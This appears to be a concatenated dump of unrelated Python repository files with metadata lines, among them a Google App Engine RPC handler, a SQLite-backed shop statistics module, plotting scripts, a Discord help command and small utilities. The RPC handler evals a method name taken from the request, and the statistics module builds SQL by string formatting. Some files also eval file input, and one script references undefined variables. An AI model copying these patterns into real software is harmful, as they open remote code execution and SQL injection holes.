#encoding: utf-8 ''' 类别的准确率和召回率曲线 文件内容 name label score ''' import argparse import numpy as np from sklearn.metrics import precision_recall_curve from sklearn.metrics import average_precision_score import matplotlib.pyplot as plt def draw(y_true, y_scores): ''' :param y_true: N*classes,N表示样本数,classes表示类别数,每行数据为one-hot向量 :param y_scores: N*classes,表示所有样本预测的置信度 :return: ''' precision, recall, thresholds = precision_recall_curve(y_true.ravel(), y_scores.ravel()) average_precision = average_precision_score(y_true, y_scores, average="micro") #平均准确率 precision = np.array(precision[:-1][::-1]) #降序排列 recall = np.array(recall[:-1][::-1]) #升序排列 thresholds = np.array(thresholds[::-1]) #降序排列 # np.array(precision)>0.99 print(f'precision_head: {precision[:-1][:15]}\n precision_tail: {precision[:-1][-15:]}\n recall_head: {recall[:-1][:15]}\n recall_tail: {recall[:-1][-15:]}\n thresholds_head: {thresholds[:15]}\n thresholds_tail: {thresholds[-15:]}') for i in [0.99, 0.95, 0.9, 0.85, 0.8, 0.75, 0.7, 0.6, 0.05, 0]: if ((precision>i).tolist().count(1)==0): print(f'conf: {i}\tP: 0\tR:0\tthresh:0') continue idx = precision.tolist().index(precision[precision>i][-1]) print(f'conf: {i}\tP: {precision[idx]}\tR:{recall[idx]}\tthresh:{thresholds[idx]}') plt.figure() plt.step(recall, precision, where='post') plt.xlabel('Recall') plt.ylabel('Precision') plt.ylim([0.0, 1.05]) plt.xlim([0.0, 1.0]) plt.title( 'Average precision score, micro-averaged over all classes: AP={0:0.2f}' .format(average_precision)) plt.savefig('pr.jpg') def getArgs(): args = argparse.ArgumentParser() args.add_argument('-i', '--input', help='input img', default='1.jpg') return vars(args.parse_args()) if __name__=='__main__': classes = ['ad_ocr', 'gun', 'knife', 'normal_ocr', 'normal_people', 'normal_thing', 'qr_code'] classes = ['4739', '0'] #二维码 classes = ['1', '0'] #涉政类 args = getArgs() pred_rst_path = args['input'] buffs = open(pred_rst_path, 'r').readlines() lines = [line.strip() for line in buffs] print('nums: {}'.format(len(lines))) y_gt = list() y_score = list() # #多分类情况 # for idx,line in enumerate(lines): # # _, label, confs = line.split('\t') # # one_hot = len(classes) * [0] # one_hot[classes.index(label)] = 1 # y_gt.append(one_hot) # y_score.append(eval(confs)) # # y_score.append(float(confs)) # # print(idx, y_gt, y_score) #二分类情况 for idx,line in enumerate(lines): _, label, confs = line.split('\t') one_hot = 0 if classes[0]==label: one_hot=1 y_gt.append(one_hot) y_score.append(eval(confs)) # y_score.append(float(confs)) # print(idx, y_gt, y_score) draw(np.array(y_gt), np.array(y_score))
04080caf6c97351c69962daea7956dae2c3f7675
c5c09eb267adca77a0e4cc0fc07f31564353f23d
/heterozygosity/effective_n_alleles.py
964aba8d88bc5d8db30ceabfa12648d3ca272b0e
[]
no_license
redcurry/sgv_scripts
da31d85554bdf705d35fa53c1b444128fbdd1ccd
bed81a70b4c2902b49a439a2451a1303c4feaf93
refs/heads/master
2020-12-24T13:45:05.457886
2013-01-23T09:14:40
2013-01-23T09:14:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,080
py
# Outputs the effective number of allele at every locus of the given population from __future__ import division import sys def calc_allele_freqs(pop, locus): allele_freqs = {} for inst in alphabet: allele_freqs[inst] = 0 for genotype in pop: inst = genotype[locus] allele_freqs[inst] += 1 # Calculate frequencies from counts for inst in allele_freqs: if allele_freqs[inst] > 0: allele_freqs[inst] /= len(pop) return allele_freqs def calc_effective_n_alleles(allele_freqs): # Calculate the sum of squares of allele frequencies ss = sum([allele_freqs[inst] * allele_freqs[inst] for inst in alphabet]) return 1 / ss alphabet = [chr(x) for x in range(ord('a'), ord('z') + 1)] pop = [] for genotype in sys.stdin: pop.append(genotype.strip()) genotype_length = len(pop[0]) for locus in range(genotype_length): # Get allele frequencies as a dictionary, e.g., {a: 0.8, b: 0.2} allele_freqs = calc_allele_freqs(pop, locus) effective_n_alleles = calc_effective_n_alleles(allele_freqs) print locus, effective_n_alleles
6bc8e6bda70fb29b075f4f3c8c40b9a6b2656fcf
9c6e63eb1796bbf4c37d93fca941fb67b4cd4741
/trunk/scarlett/app.py
7f7179015d2a9cefbdbe4557f2fd080029521298
[]
no_license
BGCX261/zizw-svn-to-git
ffc6636d8e0d91b24f124ba3d16c61af10d7441c
c8d068af7a36396ce707dc035b15330c77b02f2a
refs/heads/master
2016-09-05T13:11:22.053860
2015-08-25T15:51:45
2015-08-25T15:51:45
41,585,036
0
0
null
null
null
null
UTF-8
Python
false
false
4,466
py
import logging import webob import wsgiref.handlers import simplejson.encoder import simplejson.decoder from google.appengine.ext import db from google.appengine.api import users from scarlett import model from scarlett import utils jsonEncoder = simplejson.encoder.JSONEncoder() jsonDecoder = simplejson.decoder.JSONDecoder() def scarlett(environ, start_response): # # create request & response objects # request = webob.Request(environ) response = webob.Response() # # create session object # session = Session(request) # do job channel = session.message["channel"] if channel == "refresh": if session.isAdmin: response.body = shell % ("Scarlett-Admin", "scarlett.Admin") elif session.user: response.body = shell % ("Scarlett", "scarlett.Main") else: response.body = shell % ("Login", "scarlett.Login") elif channel == "locateservice": fullName = str(session.message["fullName"]) service = utils.my_import(fullName) simpleName = fullName.split('.')[-1] response.body = generateServiceStub(service, fullName, simpleName) response.content_type = "text/plain" response.charset = "UTF-8" elif channel == "rmi": fullName = str(session.message["serviceName"]) methodName = str(session.message["methodName"]) args = session.message["args"]; argList = "" for i in range(len(args)): argList += "args[%s], " % i argList = argList[:-2] service = utils.my_import(fullName) outMessage = { "result": eval("service."+methodName+"(session, "+argList+")") } if fullName == "scarlett.admin" and methodName == "login" and outMessage["result"]: response.set_cookie("sid", userToSid(args[0])) response.body = jsonEncoder.encode(outMessage) response.content_type = "text/plain" response.charset = "UTF-8" elif channel == "admin": user = users.get_current_user() if not user: response.body = users.create_login_url("/") logging.info("admin: do login") else: response.body = "/" logging.info("admin: do normal") else: response.body = "unknown channel: %s" % str(channel) # return response(environ, start_response) # # Tips: # session.message # session.message.channel # session.isAdmin # session.user # session.user.alias # class Session(): def __init__(self, request): # # setting message # if request.method == "GET": self.message = {"channel":"refresh"} else: self.message = jsonDecoder.decode(request.body) # # setting isAdmin & user # if users.is_current_user_admin(): self.isAdmin = True self.user = None elif "sid" not in request.cookies: self.isAdmin = False self.user = None elif not request.cookies["sid"]: self.isAdmin = False self.user = None else: self.isAdmin = False self.user = sidToUser(request.cookies["sid"]) def sidToUser(sid): # # TODO: a real sid should be used # return model.User.get(db.Key.from_path("User", "ID_"+sid, _app="scarlett")) def userToSid(userName): # # TODO: a real sid should be used # return userName def generateServiceStub(service, fullName, simpleName): methodList= filter(lambda x : x[0:1]!= "_", dir(service)) stub = "var " + simpleName + " = function(){\n" stub += "}\n\n" for method in methodList: stub += simpleName + ".prototype." + method + " = function() {\n" stub += "\treturn jsloader.doRmi('%s', '%s', arguments);\n" % (fullName, method) stub += "};\n" return stub def main(): wsgiref.handlers.CGIHandler().run(scarlett) shell = """ <html> <head> <title>%s</title> <script> var App = null; var app = null; function init() { App = jsloader.resolve("%s") app = new App(document.body); var welcome = document.getElementById("welcome"); document.body.removeChild(welcome); } function destroy() { app.destroy(); } </script> </head> <body scroll="no" style="overflow: hidden; margin: 0px; padding: 0px" onload="init()" onunload="destroy()"> <span id="welcome">Loading ...</span> </body> <script src="js/lang/JSLoader.js"></script> </html> """ if __name__ == "__main__": main()
43a37eb509684f7705f8cb48e4017f6a8127ebdf
5d79a0f01ad7fa0ff0c745aa534b9c17e2af7f60
/src/authentication/mailchimp/http.py
07ea72e13336f8b7630c8caacab4b2a82be79aaa
[ "MIT" ]
permissive
pykulytsky/freelance-service
ade7b009aa183ce198277bec1178dcf15dadd3e3
0f6e36093128ae3e63bd7dcf21959882eae7e683
refs/heads/master
2023-07-03T16:58:07.838904
2021-04-01T20:20:21
2021-04-01T20:20:21
329,963,217
0
1
MIT
2021-08-02T07:40:11
2021-01-15T16:21:17
Python
UTF-8
Python
false
false
1,936
py
from typing import Optional from urllib.parse import urljoin import requests from django.conf import settings from requests.auth import HTTPBasicAuth class MailchimpHTTPException(BaseException): pass class MailChimpWrongResponse(MailchimpHTTPException): pass class MailChimpNotFound(MailchimpHTTPException): pass class MailchimpHTTP: @property def base_url(self) -> str: dc = settings.MAILCHIMP_API_KEY.split('-')[-1] return f'https://{dc}.api.mailchimp.com/3.0/' def format_url(self, url: str) -> str: return urljoin(self.base_url, url.lstrip('/')) def request(self, url, method, payload: Optional[dict] = None, expected_status_code: int = 200): requests_payload = dict() if payload is not None: requests_payload['json'] = payload response = requests.request( method=method, url=self.format_url(url), auth=HTTPBasicAuth('user', settings.MAILCHIMP_API_KEY), **requests_payload, ) if response.status_code == 404: raise MailChimpNotFound(f'{response.status_code}: {self.get_json(response)}') if response.status_code != expected_status_code: raise MailChimpWrongResponse(f'{response.status_code}: {self.get_json(response)}') return self.get_json(response) def get(self, url: str, *args, **kwargs): return self.request(url, method='GET', *args, **kwargs) def post(self, url: str, payload: dict, *args, **kwargs): return self.request(url, method='POST', payload=payload, *args, **kwargs) def delete(self, url: str, *args, **kwargs): return self.request(url, method='DELETE', expected_status_code=204, *args, **kwargs) @staticmethod def get_json(response): if len(response.text): return response.json()
d7f8ed59ac3b21468f0ededb25e03a9e01e8d86f
760707dab4c6496bc578dc84a58ec7b84058ab78
/manage.py
4a533795180784eaa422ace96a07f199fa8783c0
[]
no_license
gflexx/zoohubmall
e0b947ec459f4b5e44db1216da256561f5678021
1eb6ec228d55c8caefd4f03f601729f295aae41d
refs/heads/main
2023-04-14T06:34:43.756173
2021-04-20T08:35:07
2021-04-20T08:35:07
358,905,388
0
0
null
null
null
null
UTF-8
Python
false
false
630
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'zoohubmall.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()
f293b8d004bc0d456cf629a869be1a28ca086346
831a728160e36c452dfe2d84f4d610a13063bbbf
/venv/bin/easy_install-3.7
06a018f9d6f908ae8e2ac22c43b4bb37cb0f641e
[]
no_license
wrongserenity/economi
9102ac2a23e64b6170c48b983b58c0ce9096f19d
b6df63e28f19f2f88d78c6a80620f2f8b6327695
refs/heads/master
2022-11-03T23:32:31.663204
2022-10-29T12:00:20
2022-10-29T12:00:20
153,648,229
1
0
null
2018-12-13T19:16:35
2018-10-18T15:40:51
Python
UTF-8
Python
false
false
435
7
#!/home/nick/proj/economi/venv/bin/python # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==39.1.0','console_scripts','easy_install-3.7' __requires__ = 'setuptools==39.1.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('setuptools==39.1.0', 'console_scripts', 'easy_install-3.7')() )
def97356d610be85276a7f7aff23c352f8e67a64
a37046fd0a42329967b735119e4fe16401b7e7fc
/nailezhuang/milk/MilkCommon.py
cb64759c37d2f15ad0bbf17b05aa1d75bd2fdad7
[]
no_license
dengruquan/nailezhuang
06aad63fdd83bd48c26c1aadaa52b5306a5a3fae
c799a92359724459583a389a31c52f75a45229b7
refs/heads/master
2021-05-07T06:59:21.738914
2017-11-27T02:51:54
2017-11-27T02:51:54
111,784,595
2
0
null
2017-11-27T03:25:05
2017-11-23T08:41:46
Python
UTF-8
Python
false
false
6,474
py
#-*- coding:utf8 -*- import datetime import sqlite3 from .models import FoodType, VIPInfo time_format = "%Y-%m-%d %H:%M:%S" statype_dict = {0:"每次喝奶数量", 1: "总共喝奶数量"} dbname = "db.sqlite3" sel_sql = "select foodname, sum(foodcnt), sum(foodmoney) from milk_foodrecord as fr join milk_foodtype as ft where fr.foodtype_id = ft.id and %s group by foodtype_id;" vip_selper_sql = "select vipindex, vipname, viprecordcnt, viprecordtime from milk_viprecord as viprecord join milk_vipinfo as vipinfo where viprecord.viprecordname_id = vipinfo.vpiindex and %s ;" vip_selsum_sql = "select vipindex, vipname, sum(viprecordcnt) from milk_viprecord as viprecord join milk_vipinfo as vipinfo where viprecord.viprecordname_id = vipinfo.vpiindex and %s group by viprecordname;;" # vip_selper_sql = "select viprecordcnt from milk_viprecord as vipinfo where %s ;" # vip_selsum_sql = "select viprecordcnt from milk_viprecord as vipinfo where %s ;" def GetNowTime(): '''返回当前时间''' tmp = datetime.datetime.now().strftime("%Y,%m,%d") print("tmp", tmp) return datetime.datetime(*eval(tmp)) def GetSomeDayAgo(day = 1): '''返回指定天数前的时间,由day进行控制''' return GetNowTime()- datetime.timedelta(days = day) def GetStrfTime(timeobj): '''返回指定的时间格式''' return timeobj.strftime("{}".format(time_format)) def AsDateTime(GET_POST, name = "datetime"): return datetime.datetime.strptime(GET_POST[name], "{}".format(time_format)) def GetFoodDict(): '''获取所有物品字典''' foodtype = FoodType.objects.all() food_dict = {0: "所有"} #{id:foodname} for foodobj in foodtype: food_dict[foodobj.id] = foodobj.foodname return food_dict def ConnectDB(dbname): ''' 连接到数据库 @parameter dbname: 数据库名 ''' return sqlite3.connect(dbname) def MakeWhereSql(where_dict): '''制作sql中where条件''' where_list = [] if "foodid" in where_dict: where_list.append("fr.foodtype_id = %d" % where_dict["foodid"]) where_list.append("foodtime >= '{}'".format(where_dict["start_time"])) where_list.append("foodtime <= '{}'".format(where_dict["end_time"])) return " and ".join(where_list) def MakeVIPWhereSql(where_dict): '''制作sql中where条件''' where_list = [] if "vipindex" in where_dict: where_list.append("vipinfo.vipindex = %s" % where_dict["vipindex"]) where_list.append("viprecordtime >= '{}'".format(where_dict["start_time"])) where_list.append("viprecordtime <= '{}'".format(where_dict["end_time"])) return " and ".join(where_list) def GetStasticsResult(where_dict): ''' 获取指定条件下的销售记录 @parameter: where_dict: {"foodid": id, "start_time": time, "end_time": time} @return : [[foodname, cnt, money]] ''' con = ConnectDB(dbname) # print(sel_sql % MakeWhereSql(where_dict)) with con as cur: cur = cur.execute(sel_sql % MakeWhereSql(where_dict)) ret = cur.fetchall() cur.close() return ret def MakeDataHtml(data_list): ''' 制作html页面内容 ''' html = [ '<!DOCTYPE html><html><head><title>销售统计</title><meta charset="UTF-8"></head><body><form>'] foodname = "物品名称" foodcnt = "数量" foodmoney = "金额" sumname = "总销售额:" sum_money = 0 # html.append('<table border="1px" cellpadding = "20" cellspacing="50" style= "border-collapse:collapse"><thead><tr><th>{}</th><th>{}</th><th>{}</th>'.format(foodname, foodcnt, foodmoney)) if data_list : for name, cnt, money in data_list: sum_money += money html.append("<font size='6'>%s%s</font>" % (sumname, sum_money)) html.append("<br/>") html.append('<table border="1px" cellpadding = "20" cellspacing="50" style= "border-collapse:collapse"><thead><tr><th>{}</th><th>{}</th><th>{}</th>'.format(foodname, foodcnt, foodmoney)) for name, cnt, money in data_list: html.append("<tr><td> %s </td><td> %s </td><td> %s </td></tr>" % (name, cnt, money)) print("sum_money", sum_money) html.append("</thead></table>") html.append("</form></body></html>") return html def MakeIndexHtml(index_list): html = [] # for urlname, funname in index_list: # html.append('<a href="{% url {} %}">{}</a>') # html.append("</html>") return html def _f():pass def GetVIPInfoDict(): '''获取月卡用户信息字典''' vipinfo = VIPInfo.objects.all() vip_dict = {0: "所有"} #{id:foodname} for vipobj in vipinfo: vip_dict[vipobj.id] = vipobj.vipindex return vip_dict def GetVIPStasticsResult(where_dict, typeid): ''' 获取指定条件下的月卡用户喝奶统计 @parameter: where_dict: {"vipid": vipid, "start_time": time, "end_time": time} @parameter: typeid: 数据统计类型{0:"每次喝奶数量", 1: "总共喝奶数量"} @return : [[foodname, cnt, money]] ''' con = ConnectDB(dbname) # print(sel_sql % MakeVIPWhereSql(where_dict)) sql = vip_selsum_sql if typeid else vip_selper_sql with con as cur: cur = cur.execute(sql % MakeVIPWhereSql(where_dict)) ret = cur.fetchall() cur.close() return ret def MakeVIPDataHtml(data_list): ''' 制作html页面内容 ''' html = [ '<!DOCTYPE html><html><head><title>销售统计</title><meta charset="UTF-8"></head><body><form>'] foodname = "物品名称" foodcnt = "数量" foodmoney = "金额" sumname = "总销售额:" sum_money = 0 # html.append('<table border="1px" cellpadding = "20" cellspacing="50" style= "border-collapse:collapse"><thead><tr><th>{}</th><th>{}</th><th>{}</th>'.format(foodname, foodcnt, foodmoney)) if data_list : for name, cnt, money in data_list: sum_money += money html.append("<font size='6'>%s%s</font>" % (sumname, sum_money)) html.append("<br/>") html.append('<table border="1px" cellpadding = "20" cellspacing="50" style= "border-collapse:collapse"><thead><tr><th>{}</th><th>{}</th><th>{}</th>'.format(foodname, foodcnt, foodmoney)) for name, cnt, money in data_list: html.append("<tr><td> %s </td><td> %s </td><td> %s </td></tr>" % (name, cnt, money)) print("sum_money", sum_money) html.append("</thead></table>") html.append("</form></body></html>") return html if __name__ == "__main__": GET_POST = {"start_time": "2017-11-16 09:53:44"} # print(AsDateTime(GET_POST, name = "start_time")) where_dict = { "start_time" : "2017-11-16 09:53:44", "end_time" : "2017-11-16 09:53:44"} # print MakeWhereSql(where_dict) # for value in globals().items(): # if type(value[1])==type(_f): # print value[0] pass
b27fe17a593da8baccb2ea99aa6446531120b19a
040ada107d1eab018dcfd464d9b7b2ee554fc801
/5. Exceptions & Files/BookTitles.py
f7fe5a7d0d595df07334e437c6c763e70eeb17de
[]
no_license
RiKjess/SololearnPY
2e3248d08bd84c3dd2843d41329958c5ee233d8c
22c5af5f33b129658760d2f0edac02855d788d1b
refs/heads/master
2023-08-14T14:11:42.900865
2021-09-27T08:10:48
2021-09-27T08:10:48
410,799,336
0
0
null
null
null
null
UTF-8
Python
false
false
881
py
""" Book Titles You have been asked to make a special book categorization program, which assigns each book a special code based on its title. The code is equal to the first letter of the book, followed by the number of characters in the title. For example, for the book "Harry Potter", the code would be: H12, as it contains 12 characters (including the space). You are provided a books.txt file, which includes the book titles, each one written on a separate line. Read the title one by one and output the code for each book on a separate line. For example, if the books.txt file contains: Some book Another book Your program should output: S9 A12 """ file = open("/usercode/files/books.txt", "r") #file path for line in file.readlines(): if line[-1] == "\n": print(line[0] + str(len(line) - 1)) else: print(line[0] + str(len(line))) file.close()
de8d14698ac3155b4d8131221fd5a3ef273e0fbe
09608017cf183f96b4c6d942fef10b18c020f774
/scripts/kdtree_old.py
ab32c9ae41f1219c630d98a1f1a6fa65a5c86a03
[]
no_license
AmandaDoyle/BigDataTaxiFinalProject
fa2f173855b81fb1d82865e2a3b5021ba69a0f31
41101f5b8c380e81f7600f42a226d5c30ab10b52
refs/heads/master
2016-09-06T10:22:22.527352
2015-05-08T16:40:37
2015-05-08T16:40:37
33,154,325
1
0
null
null
null
null
UTF-8
Python
false
false
2,077
py
#!/usr/bin/python import sys import os import json import csv from scipy import spatial master = {} def loadRoadNetwork(fileLocation): f = open(fileLocation) reader = csv.reader(f, delimiter= ',') list_of_intersections = [] for l in reader: try: point = [float(l[1]), float(l[0])] list_of_intersections.append(point) except: pass return list_of_intersections def kdTreeIntersection(list_of_intersections): tree = spatial.KDTree(inputfile) return tree def IntersectionsMaster(tree, inputfile): master = {} f = open(fileLocation) reader = csv.reader(f, delimiter= ',') for row in reader: key, value = line.split('\t') key = eval(key) year = key[0] month = key[1] value = eval(value) lat = float(value[0]) lng = float(value[1]) loc = [] loc.append(lat) loc.append(lng) ind = tree.query_ball_point(loc, .001) for item in ind: if item not in master: master[item] = {} master[item][year] = {} master[item][year][month] = 1 else: if year in master[item]: if month in master[item][year]: master[item][year][month] += 1 else: master[item][year][month] = 1 else: master[item][year] = {} master[item][year][month] = 1 return master if __name__ == '__main__': IntersectionsfileLocation = "/scratch/share/akabd/scripts/kl_scripts/TripCornerJoin/intersections.csv" taxipickupfilelocation = "" intersections = loadRoadNetwork(IntersectionsfileLocation) KDtree = kdTreeIntersection(intersections) intersections_dic = IntersectionsMaster(KDtree, taxipickupfilelocation) json_file = open('lateNightDrops_KD.json', 'w+') json.dump(intersections_dic, json_file)
d1b3168fa1a02ae0a1f8d21fb8cfd7e4a2da5d51
bbdf70d28a5df9e337522ecdfcf04a470f6d2675
/01_LED_Blink.py
8a6e0ded30d32b0c27944a9fd0000ad9790ae8cf
[]
no_license
ankurm97/blink-py
376c7e8eec38fe5cac5454802563966e8778b451
75bd31cbb0ad933a6790a7dc4fcfbe79ed6042a3
refs/heads/master
2022-11-14T11:52:04.585283
2020-07-08T07:38:21
2020-07-08T07:38:21
278,022,134
1
0
null
null
null
null
UTF-8
Python
false
false
327
py
# sudo apt-get install python3-rpi.gpio import RPi.GPIO as GPIO from time import sleep GPIO.setwarnings(False) # Ignore Warnings GPIO.setmode(GPIO.BOARD) # Use Physical Pin Numbering GPIO.setup(8, GPIO.OUT, initial=GPIO.LOW) while True: GPIO.output(8, GPIO.HIGH) sleep(1) GPIO.output(8, GPIO.LOW) sleep(1)
8a346a070eb4fa6939626f69eac6f9953b60dce0
5f792140b853f40e3c7be559c2a412d7b8296c96
/2015/day1/day1.py
11aaf8407b8800fe4172610f6f795fd3122349e8
[ "Unlicense" ]
permissive
winny-/aoc
9d53666faf341f1cc2016a3d21e93d7f4064a72b
f986cacf14d81d220030bca94e99ec8179861e1b
refs/heads/master
2022-12-05T00:19:47.570034
2022-12-04T09:55:11
2022-12-04T09:55:11
225,185,486
7
0
null
null
null
null
UTF-8
Python
false
false
210
py
import sys MAP = { '(': 1, ')': -1, } def calculate_floor(s): return sum(MAP.get(c, 0) for c in s) def main(): print(calculate_floor(sys.stdin.read())) if __name__ == '__main__': main()
7bdc11d833a29499705912fbb4eccbaa8d5f88ac
9c26ada7c171936d736b5a90a95e1a1d0258a7b5
/bot/commands/help.py
67ecd73044cbb93c9b726c248de4fc17bc22903d
[ "CC0-1.0", "GPL-1.0-or-later", "MIT" ]
permissive
vampboy1234/PomoBot
cc076d23724e1042a6a3a041d23bc22c71c9328c
5df0cfeda80f2aac2e921073a28b7dbef33f4859
refs/heads/master
2022-06-02T19:40:35.425774
2020-04-20T14:07:31
2020-04-20T14:07:31
257,314,721
0
0
MIT
2020-04-20T14:56:25
2020-04-20T14:56:24
null
UTF-8
Python
false
false
5,837
py
import discord from cmdClient import cmd from utils.lib import prop_tabulate from utils import interactive # noqa # Set the command groups to appear in the help help_groups = [ ("Timer", "*View and interact with the guild group timers.*"), ("Registry", "*Timer leaderboard and session history.*"), ("Configuration", "*Create groups and configure their behaviour.*"), ("Misc", "*Other miscellaneous commands.*") ] # Set the main help string help_str = ("Flexible study or work group timer using a customisable Pomodoro system!\n" "Supports multiple groups and different timer setups.\n" "Use the `guide` command to see a quick usage guide.") help_title = "CafePomodoro Documentation" @cmd("help", desc="Display information about commands.") async def cmd_help(ctx): """ Usage: help [cmdname] Description: When used with no arguments, displays a list of commands with brief descriptions. Otherwise, shows documentation for the provided command. Examples: help help help """ if ctx.arg_str: # Attempt to fetch the command command = ctx.client.cmd_cache.get(ctx.arg_str.strip(), None) if command is None: return await ctx.error_reply( ("Command `{}` not found!\n" "Use the `help` command without arguments to see a list of commands.").format(ctx.arg_str) ) help_fields = command.long_help.copy() help_map = {field_name: i for i, (field_name, _) in enumerate(help_fields)} if not help_map: await ctx.reply("No documentation has been written for this command yet!") for name, pos in help_map.items(): if name.endswith("``"): # Handle codeline help fields help_fields[pos] = ( name.strip("`"), "`{}`".format('`\n`'.join(help_fields[pos][1].splitlines())) ) elif name.endswith(":"): # Handle property/value help fields lines = help_fields[pos][1].splitlines() names = [] values = [] for line in lines: split = line.split(":", 1) names.append(split[0] if len(split) > 1 else "") values.append(split[-1]) help_fields[pos] = ( name.strip(':'), prop_tabulate(names, values) ) elif name == "Related": # Handle the related field names = [cmd_name.strip() for cmd_name in help_fields[pos][1].split(',')] names.sort(key=len) values = [getattr(ctx.client.cmd_cache.get(cmd_name, None), 'desc', "") for cmd_name in names] help_fields[pos] = ( name, prop_tabulate(names, values) ) usage_index = help_map.get("Usage", None) if usage_index is not None: help_fields[usage_index] = ("Usage", "`{}`".format('`\n`'.join(help_fields[usage_index][1].splitlines()))) aliases = getattr(command, 'aliases', []) alias_str = "(Aliases `{}`.)".format("`, `".join(aliases)) if aliases else "" # Build the embed embed = discord.Embed( title="`{}` command documentation. {}".format(command.name, alias_str), colour=discord.Colour(0x9b59b6) ) for fieldname, fieldvalue in help_fields: embed.add_field(name=fieldname, value=fieldvalue, inline=False) embed.set_footer(text="[optional] and <required> denote optional and required arguments, respectively.") # Post the embed await ctx.reply(embed=embed) else: # Build the command groups cmd_groups = {} for command in ctx.client.cmds: # Get the command group group = getattr(command, 'group', "Misc") cmd_group = cmd_groups.get(group, []) if not cmd_group: cmd_groups[group] = cmd_group # Add the command name and description to the group cmd_group.append((command.name, getattr(command, 'desc', ""))) # Turn the command groups into strings stringy_cmd_groups = {} for group_name, cmd_group in cmd_groups.items(): cmd_group.sort(key=lambda tup: len(tup[0])) stringy_cmd_groups[group_name] = prop_tabulate(*zip(*cmd_group)) # Now put everything into a bunch of embeds help_embeds = [] active_fields = [] for group_name, group_desc in help_groups: group_str = stringy_cmd_groups.get(group_name, None) if group_str is None: continue active_fields.append((group_name, group_desc + '\n' + group_str)) if group_name == help_groups[-1][0] or sum([len(field.splitlines()) for _, field in active_fields]) > 10: # Roll a new embed embed = discord.Embed(description=help_str, colour=discord.Colour(0x9b59b6), title=help_title) # Add the active fields for name, field in active_fields: embed.add_field(name=name, value=field, inline=False) help_embeds.append(embed) # Clear the active fields active_fields = [] # Add the page numbers for i, embed in enumerate(help_embeds): embed.set_footer(text="Page {}/{}".format(i+1, len(help_embeds))) # Send the embeds if help_embeds: await ctx.pager(help_embeds) else: await ctx.reply(embed=discord.Embed(description=help_str, colour=discord.Colour(0x9b59b6)))
ceb0c0134cb3480fdab988077750fcef69ee298d
f8ea3582884df87172cb747e424ebd0c20223614
/(sandbox,tobemerged)/setup.py
bfdf53b7357b1a52aaad77a7986bc61cc1b5ddd9
[ "MIT" ]
permissive
karimbahgat/PythonGis
94f52f800a769ee54b12c7277604ead011465321
fb99148a15bcbe0438ddca67b484a15076bd961a
refs/heads/master
2023-04-12T15:59:08.522464
2022-09-09T22:48:32
2022-09-09T22:48:32
47,153,255
5
1
null
null
null
null
UTF-8
Python
false
false
1,260
py
############ ### allow building the exe by simply running this script import sys sys.argv.append("py2exe") ############ ### imports from distutils.core import setup import py2exe ########### ### options WINDOWS = [{"script": "guitester.py", "icon_resources": [(1,"pythongis/app/logo.ico")] }] OPTIONS = {"skip_archive": True, "dll_excludes": ["python26.dll","python27.so"]} ########### ### create the application icon ##import PIL, PIL.Image ##img = PIL.Image.open("icon.png") ##img.save("icon.ico", sizes=[(255,255),(128,128),(64,64),(48,48),(32,32),(16,16),(8,8)]) ########### ### build setup(windows=WINDOWS, options={"py2exe": OPTIONS} ) ########### ### manually copy pythongis package to dist ### ...because py2exe may not copy all files import os import shutil frompath = "pythongis" topath = os.path.join("dist","pythongis") shutil.rmtree(topath) # deletes the folder copied by py2exe shutil.copytree(frompath, topath) ########### ### and same with dependencies for dependname in os.listdir("dependencies"): frompath = os.path.join("dependencies", dependname) topath = os.path.join("dist", dependname) shutil.rmtree(topath) # deletes the folder copied by py2exe shutil.copytree(frompath, topath)
ad232b4ee33908d60b0a9a445eccd44352cff4f9
4d4ef69dc8a0237973dde5ce0768cf21f043f717
/Download image automatically.py
674716ea927e334672127be0abeb83a8f0c5c51f
[]
no_license
zh-cse18/Selenium_Webdriver_Operation
b3b02adb4762e5b2c61e05d9211e3d90725fae42
dd001057d84aae0fbaed062fea4725e0e3bea2cc
refs/heads/master
2023-07-20T08:13:07.690387
2023-07-10T09:59:59
2023-07-10T09:59:59
230,744,441
4
0
null
null
null
null
UTF-8
Python
false
false
2,463
py
import os import json import requests # to sent GET requests from bs4 import BeautifulSoup # to parse HTML # user can input a topic and a number # download first n images from google image search GOOGLE_IMAGE = \ 'https://www.google.com/search?site=&tbm=isch&source=hp&biw=1873&bih=990&' # The User-Agent request header contains a characteristic string # that allows the network protocol peers to identify the application type, # operating system, and software version of the requesting software user agent. # needed for google search usr_agent = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'Accept-Encoding': 'none', 'Accept-Language': 'en-US,en;q=0.8', 'Connection': 'keep-alive', } SAVE_FOLDER = 'images' def main(): if not os.path.exists(SAVE_FOLDER): os.mkdir(SAVE_FOLDER) download_images() def download_images(): # ask for user input data = input('What are you looking for? ') n_images = int(input('How many images do you want? ')) print('Start searching...') # get url query string searchurl = GOOGLE_IMAGE + 'q=' + data print(searchurl) # request url, without usr_agent the permission gets denied response = requests.get(searchurl, headers=usr_agent) html = response.text # find all divs where class='rg_meta' soup = BeautifulSoup(html, 'html.parser') results = soup.findAll('div', {'class': 'rg_meta'}, limit=n_images) # extract the link from the div tag imagelinks = [] for re in results: text = re.text # this is a valid json string text_dict = json.loads(text) # deserialize json to a Python dict link = text_dict['ou'] # image_type = text_dict['ity'] imagelinks.append(link) print(f'found {len(imagelinks)} images') print('Start downloading...') for i, imagelink in enumerate(imagelinks): # open image link and save as file response = requests.get(imagelink) imagename = SAVE_FOLDER + '/' + data + str(i + 1) + '.jpg' with open(imagename, 'wb') as file: file.write(response.content) print('Done') if __name__ == '__main__': main()
9943c20ed3a8ba5c8ddafb0759bb6a02bc89fb81
504d9b35e2265e2463a82511fd567d4c553c7a04
/libvirt_qemu_map
